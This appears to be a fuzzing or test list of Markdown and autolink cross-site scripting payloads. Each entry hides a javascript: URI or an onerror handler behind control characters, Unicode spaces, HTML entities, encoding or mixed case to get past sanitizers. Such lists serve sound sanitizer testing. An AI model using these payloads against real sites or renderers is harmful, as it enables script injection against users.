[Click me](javascript:alert('XSS'))

[Click me](java%0Ascript:alert("XSS"))

[link](java
script:alert(document.location))

<javascript:alert("XSS")>

![Inline image](data:image/gif;base64,R0lGODlhEAAQAMQAAORHHOVSKudfOulrSOp3WOyDZu6QdvCchPGolfO0o/XBs/fNwfjZ0frl3/zy7////wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACH5BAkAABAALAAAAAAQABAAAAVVICSOZGlCQAosJ6mu7fiyZeKqNKToQGDsM8hBADgUXoGAiqhSvp5QAnQKGIgUhwFUYLCVDFCrKUE1lBavAViFIDlTImbKC5Gm2hB0SlBCBMQiB0UjIQA7)

![Inline image](xx" onerror="javascript:alert(1))

<javas\x00cript:javascript:alert(1)>

<javas\x01cript:javascript:alert(1)>

<javas\x02cript:javascript:alert(1)>

<javas\x03cript:javascript:alert(1)>

<javas\x04cript:javascript:alert(1)>

<javas\x05cript:javascript:alert(1)>

<javas\x06cript:javascript:alert(1)>

<javas\x07cript:javascript:alert(1)>

<javas\x08cript:javascript:alert(1)>

javas\x09cript:javascript:alert(1)>

<javas\x0Acript:javascript:alert(1)>

<javas\x0Bcript:javascript:alert(1)>

<javas\x0Ccript:javascript:alert(1)>

<javas\x0Dcript:javascript:alert(1)>

<javascript\x3Ajavascript:alert(1)>

<\x0Bjavascript:javascript:alert(1)>

<\x0Fjavascript:javascript:alert(1)>

<\xC2\xA0javascript:javascript:alert(1)>

<\x05javascript:javascript:alert(1)>

<\xE1\xA0\x8Ejavascript:javascript:alert(1)>

<\x18javascript:javascript:alert(1)>

<\x11javascript:javascript:alert(1)>

<\xE2\x80\x88javascript:javascript:alert(1)>

<\xE2\x80\x89javascript:javascript:alert(1)>

<\xE2\x80\x80javascript:javascript:alert(1)>

<\x17javascript:javascript:alert(1)>

<\x03javascript:javascript:alert(1)>

<\x0Ejavascript:javascript:alert(1)>

<\x1Ajavascript:javascript:alert(1)>

<\x00javascript:javascript:alert(1)>

<\x10javascript:javascript:alert(1)>

<\xE2\x80\x82javascript:javascript:alert(1)>

<\x20javascript:javascript:alert(1)>

<\x13javascript:javascript:alert(1)>

<\x09javascript:javascript:alert(1)>

<\xE2\x80\x8Ajavascript:javascript:alert(1)>

<\x14javascript:javascript:alert(1)>

<\x19javascript:javascript:alert(1)>

<\xE2\x80\xAFjavascript:javascript:alert(1)>

<\x1Fjavascript:javascript:alert(1)>

<\xE2\x80\x81javascript:javascript:alert(1)>

<\x1Djavascript:javascript:alert(1)>

<\xE2\x80\x87javascript:javascript:alert(1)>

<\x07javascript:javascript:alert(1)>

<\xE1\x9A\x80javascript:javascript:alert(1)>

<\xE2\x80\x83javascript:javascript:alert(1)>

<\x04javascript:javascript:alert(1)>

<\x01javascript:javascript:alert(1)>

<\x08javascript:javascript:alert(1)>

<\xE2\x80\x84javascript:javascript:alert(1)>

<\xE2\x80\x86javascript:javascript:alert(1)>

<\xE3\x80\x80javascript:javascript:alert(1)>

<\x12javascript:javascript:alert(1)>

<\x0Djavascript:javascript:alert(1)>

<\x0Ajavascript:javascript:alert(1)>

<\x0Cjavascript:javascript:alert(1)>

<\x15javascript:javascript:alert(1)>

<\xE2\x80\xA8javascript:javascript:alert(1)>

<\x16javascript:javascript:alert(1)>

<\x02javascript:javascript:alert(1)>

<\x1Bjavascript:javascript:alert(1)>

<\x06javascript:javascript:alert(1)>

<\xE2\x80\xA9javascript:javascript:alert(1)>

<\xE2\x80\x85javascript:javascript:alert(1)>

<\x1Ejavascript:javascript:alert(1)>

<\xE2\x81\x9Fjavascript:javascript:alert(1)>

<\x1Cjavascript:javascript:alert(1)>

<javascript\x00:javascript:alert(1)>

<javascript\x3A:javascript:alert(1)>

<javascript\x09:javascript:alert(1)>

<javascript\x0D:javascript:alert(1)>

<javascript\x0A:javascript:alert(1)>

<java&#1&#2&#3&#4&#5&#6&#7&#8&#11&#12script:javascript:alert(1)>

<jav&#65ascript:javascript:alert(1)>

<jav&#97ascript:javascript:alert(1)>

<jAvAsCrIpT:alert(1)>

[XSS](javascript:alert%28&#039;XSS&#039;%29)

[XSS](javascript&colon;alert%28&#039;XSS&#039;%29)

[XSS](javascript&amp;colon;alert%28&#039;XSS&#039;%29)